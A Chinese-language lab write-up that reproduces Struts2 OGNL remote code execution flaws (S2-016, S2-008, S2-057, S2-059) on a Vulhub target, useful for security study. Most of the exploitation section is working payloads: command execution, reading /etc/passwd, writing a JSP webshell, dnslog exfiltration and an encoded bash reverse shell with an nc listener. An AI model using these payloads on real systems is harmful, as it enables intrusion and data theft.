实验环境
Vulhub靶场,struts2漏洞复现
Ubuntu: 腾讯云服务器,Ubuntu Server 20.04 LTS 64bit
靶场:https://github.com/vulhub/vulhub.git
前言
前期知识储备,跳转blog:https://gryffinbit.top/2022/10/14/struts%E4%BB%8B%E7%BB%8D%E4%BB%A5%E5%8F%8Aognl%E8%A1%A8%E8%BE%BE%E5%BC%8F/
漏洞原理
S2-016
更详细的逆向过程👇
struts2的action、redirect、redirectAction前缀参数,在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接进Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,今儿可执行任意命令。
redirect:
和redirectAction:
此两项前缀为Struts默认开启功能。
在struts2中,DefaultActionMapper
类支持以"action:"
、“redirect:”
、"redirectAction:"
作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令.
访问http://ip/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
S2-008
S2-008涉及多个漏洞,cookie拦截器配置错误可造成ognl表达式执行,但是由于大多web容器对cookie名称都有字符限制,所以这个漏洞不常用。
生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令
S2-057
远程代码执行漏洞。
影响版本: <= Struts 2.3.34, Struts 2.5.16
利用条件:
alwaysSelectFullNamespace值为true
Struts2配置文件中,action元素未设置namespace属性,或使用了通配符
漏洞分析:
通过TextParseUtil.translateVariables()
调用OgnlTextParser.evaluate()
解析执行url中的OGNL表达式,导致代码执行
S2-059
由于标签属性值进行二次表达式解析而产生的命令注入漏洞
利用条件:
必须开启AltSyntax(它的功能是将标签内的内容当作ognl表达式解析。)
版本为 Struts 2.0.0 - Struts 2.5.20
漏洞分析
对id
属性进行二次解析,导致命令注入。
第一次解析:一步步调用,最终调用了OgnlTextParser.evaluate()
方法。进行了解析
第二次解析:调用了``findStringIfAltSyntax()方法,开启altSyntax功能的话,则会对
id`属性再次进行表达式解析。
漏洞复现
S2-016
进入靶场 http://ip:8080/
系统命令执行POC
执行命令
name -a
1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
需要先将POC进行一次url编码:
1
redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
拼接上靶场地址
http://ip:8080/index.action
1
http://ip:8080/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
得到一个下载文件
修改文件后缀为.html,得到执行结果
可以得到用户b2fdbd82760b,实际上它是docker的容器ID
(docker漏洞靶场视角👇)
解密Linux版本信息
1
Linux b2fdbd82760b 5.4.0-96-generic #109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 x86_64 GNU/Linux
1
2
3
4
5
6
7Linux –- 内核名称
b2fdbd82760b–- 节点名
x86_64 –- 机器硬件名
5.4.0-96-generic –- 内核发布版本
#109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 -- 内核版本
GNU/Linux –- 操作系统其他的还有:处理器、硬件平台。这里没有显示,大部分是x86_64
内核发行数据
1
2
3
4
55 表示内核版本
4 表示主要版本
0 表示次要版本
96 表示最新补丁
#109 表示此发布版本已经编译了109次
获取web目录POC
POC
1
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
URL编码
1
redirect%3A%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
拼接靶场地址
1
http://ip:8080/index.action?redirect%3A%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
得到web目录
写入webshell
poc
1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
url编码
1
redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%221.jspx%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22BINGO%22)%2C%23genxor.flush()%2C%23genxor.close()%7D
拼接靶场地址
1
http://ip:8080/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%221.jspx%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22BINGO%22)%2C%23genxor.flush()%2C%23genxor.close()%7D
执行结果。上传成功
S2-008
在devmode模式下直接添加参数?debug=command&expression=<OGNL EXP>
,会直接执行后面的ognl表达式,因此可以直接执行命令.
环境成功启动
文件读取
POC
1
/devmode.action?debug=command&expression=(#w=new java.io.File("/etc/passwd"),#a=new java.io.FileInputStream(#w),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#d)),#f.getWriter().flush(),#f.getWriter().close())
进行URL编码
1
/devmode.action?debug=command&expression=%28%23w%3Dnew%20java.io.File%28%22%2fetc%2fpasswd%22%29%2C%23a%3Dnew%20java.io.FileInputStream%28%23w%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23d%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
执行
命令执行
POC
执行的命令为读取
/etc/passwd
文件1
/devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())
URL编码
1
/devmode.action?debug=command&expression=%28%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2fetc%2fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
执行
执行ls
1
/devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())
编码
1
http://localhost:8080/devmode.action?debug=command&expression=(%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close())
S2-057
环境启动
http://localhost:8080/struts2-showcase
验证漏洞是否存在
进行一个算数,看是否返回结果
{7*7}
要进行url编码,结果如下
1 | http://your-ip:8080/struts2-showcase/$%7B7*7%7D/actionChain1.action |
抓包,得到了算数结果49.说明存在该漏洞
POC验证
1
http://ip:8080/struts2-showcase/<ognl表达式>/actionChain1.action
执行系统命令
id
1
2${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}url编码
1
2%24%7B
(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action执行其他命令的结果(
ls
)👇
S2-059
该漏洞跟057差不多,它利用的是id标签的二次解析。
环境启动
http://ip:8080/.action
验证漏洞是否存在
1 | http://your-ip:8080/?id=%25%7B233*233%7D |
可以计算出233*233的结果
官方POC验证
1 | import requests |
执行poc后,进入容器,发现命令touch /tmp/success
被成功执行,生成了success文件。
其他POC验证方式
DNSlog带出回显
回显,可以修改成ping xxx.dnslog.cn,直接执行,带出回显。
python执行
1
2
3
4
5
6
7
8
9
10
11
12
13import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('ping erp3sn.dnslog.cn'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
反弹shell
base编码小工具
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>编码
python执行
1
2
3
4
5
6
7
8
9
10
11
12
13import requests
url = "http://192.168.0.14:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)监听
1
nc -lvnp 6666
攻击测试成功
参考文章
https://blog.csdn.net/weixin_42633229/article/details/117087180
https://www.51cto.com/article/621101.html
https://www.codercto.com/a/22088.html
https://zhuanlan.zhihu.com/p/348999160